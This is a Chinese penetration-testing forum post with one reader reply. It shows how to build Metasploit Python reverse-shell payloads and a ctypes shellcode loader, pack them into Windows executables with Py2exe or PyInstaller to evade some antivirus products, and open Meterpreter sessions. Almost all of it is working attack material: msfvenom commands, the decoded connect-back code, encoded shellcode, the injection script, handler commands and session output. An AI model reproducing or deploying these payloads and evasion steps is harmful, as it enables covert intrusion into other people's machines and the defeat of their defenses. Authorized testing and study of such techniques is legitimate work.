<u>皮皮鲁</u> / 2019-07-16 09:11:00 / 浏览数 6326 <u>渗透测试 渗透测试 顶(0) 踩(0)</u>

本文主要介绍两种利用msf生成python版 payload,并利用Py2exe或PyInstaller将python文件转为exe文件,可成功bypass某些AV反弹shell

msf-python反弹shell姿势1

1) msfvenom生成python后门

msfvenom -p python/meterpreter/reverse\_tcp LHOST=192.168.20.131 LPORT=4444 -f raw -o /tmp/mrtp.py

```
root@kali:~#
root@kali:~# msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.20.131 LPORT=4444 -f raw -o /tmp/mrtp.py
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 454 bytes
Saved as: /tmp/mrtp.py
root@kali:~#
root@kali:~# sz /tmp/mrtp.py
```

### 生成的mrtp.py文件如下:

import base64.sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version\_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3Qs

### 对其中的base64解码为:

```
import socket,struct,time
for x in range(10):
    try:
        s=socket.socket(2,socket.SOCK_STREAM)
        s.connect(('192.168.20.131',4444))
        break
    except:
        time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(1)
while len(d)<1:
    d+=s.recv(1-len(d))
exec(d,{'s':s})</pre>
```

## 2)Py2exe将py后门转为exe

python环境装备

(1)安装Python 2.7 x86 windows版:

https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi

\*注意:必须使用x86版本Python 2.7。 即使Windows是x64的,也要安装32位版本。 并且将python.exe添加到环境变量。

(2) 安装32位Py2exe for python 2.7

 $\underline{\text{https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download} \\$ 

setup.py

## setup.py 是利用Py2exe 将py转为exe

```
#! /usr/bin/env python
# encoding:utf-8

from distutils.core import setup
import py2exe

setup(
name = "Meter",
description = "Python-based App",
version = "1.0",
console = ["mrtp.py"],
options = {"py2exe":{"bundle_files":1,"packages":"ctypes","includes":"base64,sys,socket,struct,time,code,platform,getpass,shut
```

```
name、 description 、version是可选项
console = ["mrtp.py"] 表示生成控制台程序 可bypass 某些AV
将mrtp.py和setup.py两个文件放到同一目录下
执行下面命令,即会在dist目录下生成mrtp.exe
python ./setup.py py2exe
Make sure you have the license if you distribute any of them, and
 make sure you don't distribute files belonging to the operating system.
   OLEAUT32.dll - C:\Windows\system32\OLEAUT32.dll
   USER32.dll - C:\Windows\system32\USER32.dll
    IMM32.d11 - C:\Windows\system32\IMM32.d11
   SHELL32.d11 - C:\Windows\system32\SHELL32.d11
   ole32.dll - C:\Windows\system32\ole32.dll
   COMDLG32.d11 - C:\Windows\system32\COMDLG32.d11
    COMCTL32.d11 - C:\Windows\system32\COMCTL32.d11
   ADVAPI32.dll - C:\Windows\system32\ADVAPI32.dll
   GDI32.dll - C:\Windows\system32\GDI32.dll
    WS2_32.d11 - C:\Windows\system32\WS2_32.d11
   CRYPT32.d11 - C:\Windows\system32\CRYPT32.d11
   KERNEL32.d11 - C:\Windows\system32\KERNEL32.d11
C:\lltes:>python ./setup.py py2exe_
            → 计算机 → Win7 (C:) → Iltest → dist →
文件(F) 编辑(E) 查看(V)
                      工具(T) 帮助(H)
          包含到库中 ▼
 组织 ▼
                       共享 🔻
                                新建文件夹
                      名称
                                                        修改日期
                                                                       墨型
                                                                                      大小
  🏠 收藏夹
                                                        2019/7/8 11:47
                                                                       文件夹
   👢 下載
                                                        2019/7/8 11:47
                                                                       应用程序
                                                                                       11,166 KB
                      mrtp.exe
   📰 卓面
                      w9xpopen.exe
                                                        2017/9/16 20:20
                                                                       应用程序
                                                                                         109 KB
   🖫 最近访问的位置
3) MSF开启监听&反弹shell
msf5 > use exploit/multi/handler
msf5 > set PAYLOAD python/meterpreter/reverse tcp
msf5 > set LHOST 192.168.20.131
msf5 > set LPORT 4444
msf5 > run
点击dist 目录下的mrtp.exe,即可成功反弹shell
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
 <u>msf5</u> exploit(multi/handler) > set PAYLOAD python/meterpreter/reverse_tcp
PAYLOAD => python/meterpreter/reverse_tcp
 msf5 exploit(multi/handler) > set LHOST 192.168.20.131
 LHOST => 192.168.20.131
 msf5 exploit(multi/handler) > set LPORT 4444
 LPORT => 4444
 msf5 exploit(multi/handler) > run
 [*] Started reverse TCP handler on 192.168.20.131:4444
 [*] Sending stage (53755 bytes) to 192.168.20.129
 [*] Meterpreter session 1 opened (192.168.20.131:4444 -> 192.168.20.129:50538) at 2018-07-07 16:41:18
 <u>meterpreter</u> > sysinfo
                 : PC-20170527XA0D
 Computer
 0S
                 : Windows 7 (Build 7601, Service Pack 1)
                 : x86
 Architecture
 System Language : zh_CN
 Meterpreter
                 : python/windows
```

zipfile = None

<u>meterpreter</u> >

buf.

### 1)msfvenom生成python shellcode

msfvenom -p windows/meterpreter/reverse\_tcp LPORT=4444 LHOST=192.168.20.131 -e x86/shikata\_ga\_nai -i 11 -f py -o /tmp/mytest

```
otekali:~# msfvenom -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.20.131 -e x86/shikata_ga_nai -i 11 -f py -o /tmp/mytest.py
] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
] No arch selected, selecting arch: x86 from the payload
  Found 1 compatible encoders
 Attempting to encode payload with 11 iterations of x86/shikata_ga_nai
  x86/shikata_ga_nai succeeded with size 368 (iteration=0
  x86/shikata_ga_nai succeeded with size 395
x86/shikata_ga_nai succeeded with size 422
                                                                      (iteration=1)
                                                                      (iteration=2)
  x86/shikata_ga_nai succeeded with size 449
x86/shikata_ga_nai succeeded with size 476
                                                                      (iteration=3)
                                                                      (iteration=4)
  x86/shikata_ga_nai succeeded with size 503
                                                                      (iteration=5)
  x86/shikata_ga_nai succeeded with size 530
                                                                      (iteration=6)
  x86/shikata_ga_nai succeeded with size 557
                                                                      (iteration=7)
  x86/shikata_ga_nai succeeded with size 584 (iteration=8)
x86/shikata_ga_nai succeeded with size 611 (iteration=9)
                                                                      (iteration=8)
  x86/shikata_ga_nai succeeded with size 638 (iteration=10)
  x86/shikata_ga_nai chosen with final size 638
 Payload size: 638 bytes
Final size of py file: 3062 bytes
  Saved as: /tmp/mytest.py
         kali:~#
  🔚 mytest. py🛛 📙 myshellcode. py🗵
                     buf -= · · " "
                     buf ·+= · "\xbe\x24\x6e\x0c\x71\xda\xc8\xd9\x74\x24\xf4\x5b\x29"
                     buf ·+= · "\xc9\xb1\x99\x31\x73\x15\x03\x73\x15\x83\xeb\xfc\xe2"
        3
                     buf ·+= · "\xd1\xb4\xdb\xa8\x6d\x6d\x10\x17\x33\xf9\x2c\x93\x2b"
        4
       5
                    buf ·+= · "\x31\x04\x55\x38\xb6\x53\x92\x0f\xcc\x48\x98\x8e\xc9"
                     buf ·+= · "\xb6\x0b\x82\xcf\x8e\x16\xe2\xdd\xbd\x25\x12\x83\xa3"
                    buf ·+= · "\xbb\xe1\x6a\xc8\xc3\x07\x39\xa4\xb1\x89\xeb\x54\x70"
                     buf ·+= · "\x37\x86\x61\x92\xc5\x99\x6e\x6b\x0f\xa8\xa9\xea\x29"
       8
                     buf ·+= · "\xbb\xcb\x58\x52\xf9\x3b\x9f\x30\x9d\x4e\xfe\x08\x5a"
       Q
                     buf ·+= · "\x9d\xcf\x95\x45\x2e\x67\x91\x9f\xcb\x92\x8d\xbf\x26"
     10
     11
                     buf ·+= · "\x0f\x1e\x30\x6b\xf7\x8e\x02\xd5\x64\x33\xc8\x28\xb9"
     12
                     buf ·+= ·"\x04\xc3\xcb\x54\xee\xf3\xc4\xdb\xcf\xb3\xaa\x49\x11"
                     buf ·+= ·"\xle\x36\x13\xbf\xa4\xf4\x90\xb5\x3d\xd1\xf1\x43\x9e"
      13
2) myshellcode.py
将上面生成的shellcode复制到myshellcode.py中
#! /usr/bin/env python
# encoding:utf-8
import ctypes
def execute():
      # Bind shell
      shellcode = bytearray(
      \label{linear_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_continuous_contin
"\xc9\xb1\x99\x31\x73\x15\x03\x73\x15\x83\xeb\xfc\xe2"
              \x0b\x0b\x94\x1a\xd9\xfd\xc7\x78\x26\xb3\x57\xea\x6d
      \x37\x35\x48\xea\x47\xf6\x81\x90\x07\xc6\x62\x9a\x56"
      "\x13"
     ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
     ctypes.c_int(len(shellcode)),
     ctypes.c_int(0x3000),
     ctypes.c_int(0x40))
     buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
     ctypes.windll.kernel32.RtlMoveMemory(ctypes.c int(ptr),
```

```
ctypes.c int(len(shellcode)))
  ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
  ctypes.c_int(0),
  ctypes.c_int(ptr),
  ctypes.c_int(0),
  ctypes.c int(0),
  ctypes.pointer(ctypes.c_int(0)))
  ctypes.windll.kernel32.WaitForSingleObject(ctypes.c int(ht),
   ctypes.c_int(-1))
if __name__ == "__main__":
   execute()
3)PyInstaller将py转为exe
pyinstaller同样可以将.py程序打包成windows下可以执行的exe文件。
```

pyinstaller依赖于pywin32,在使用pyinstaller之前,应先安装pywin32

pywin32下载后,点击下一步安装即可

https://sourceforge.net/projects/pywin32/files/pywin32

pyinstaller 下载后,解压,不用安装,即可使用

https://github.com/pyinstaller/pyinstaller/releases

pyinstaller.py -F --console myshellcode.py

-console表示生成控制台程序,可bypass某些AV \xref-myshellcode.html 13993 INFO: checking PYZ 13993 INFO: Building PYZ because PYZ-00.toc is non existent 13993 INFO: Building PYZ (ZlibArchive) C:\lltest\PyInstaller-3.4\myshellcode\build\myshellcode\PYZ-0 0.pyz 14367 INFO: Building PYZ (ZlibArchive) C:\lltest\PyInstaller-3.4\myshellcode\build\myshellcode\PYZ-0 0.pyz completed successfully. 14414 INFO: checking PKG 14430 INFO: Building PKG because PKG-00.toc is non existent 14430 INFO: Building PKG (CArchive) PKG-00.pkg 14976 INFO: Redirecting Microsoft.UC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 7523) 17253 INFO: Building PKG (CArchive) PKG-00.pkg completed successfully. 17284 INFO: Bootloader C:\lltest\PyInstaller-3.4\PyInstaller\bootloader\Windows-32bit\run.exe 17284 INFO: checking EXE 17300 INFO: Building EXE because EXE-00.toc is non existent 17300 INFO: Building EXE from EXE-00.toc 17300 INFO: Appending archive to EXE C:\lltest\PyInstaller-3.4\myshellcode\dist\myshellcode.exe 17628 INFO: Building EXE from EXE-00.toc completed successfully. G:\lltest\PyInstaller-3.4>pyinstaller.py -F --console myshellcode.py 算机 ▶ Win7 (C:) ▶ lltest ▶ PyInstaller-3.4 ▶ myshellcode ▶ dist 工具(T) 帮助(H) **≦**看(V) 库中 ▼ 共享 ▼ 新建文件夹 名称 修改日期 类型 大小 myshellcode.exe 2019/7/12 11:01 应用程序 3,402 KB

# 4) MSF开启监听&反弹shell

```
msf5 > use exploit/multi/handler
msf5 > set PAYLOAD windows/meterpreter/reverse tcp
msf5 > set LHOST 192.168.20.131
msf5 > set LPORT 4444
msf5 > run
```

```
<u>msf5</u> >
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.20.131
LH0ST => 192.168.20.131
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.20.131:4444
[*] Sending stage (179779 bytes) to 192.168.20.129
[*] Meterpreter session 1 opened (192.168.20.131:4444 -> 192.168.20.129:50019) at 2018-07-08 06:33:14
<u>meterpreter</u> > sysinfo
                : PC-20170527XA0D
Computer
0S
                : Windows 7 (Build 7601, Service Pack 1).
                : x86
Architecture
System Language : zh CN
                : LLTEST
Domain
Logged On Users : 2
                : x86/windows
Meterpreter
<u>meterpreter</u> >
```

本文只是简单介绍方法、抛砖引玉,当然还有很多可以优化改进的地方,大家可再完善。

#### 参考

https://medium.com/bugbountywriteup/antivirus-evasion-with-python-49185295caf1 https://medium.com/AntiSec\_Inc/combining-the-power-of-python-and-assembly-a4cf424be01d https://nosec.org/home/detail/2727.html

点击收藏 | 2 关注 | 3

上一篇:记一次有趣的渗透测试下一篇:生成可打印的shellcode

### 1. 1条回复



MAX 2019-07-25 17:49:30

师傅请问一下我生成的shellcode打包成exe并不能上线请问这是是什么问题

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

RSS <u>关于社区</u> <u>友情链接</u> <u>社区小黑板</u>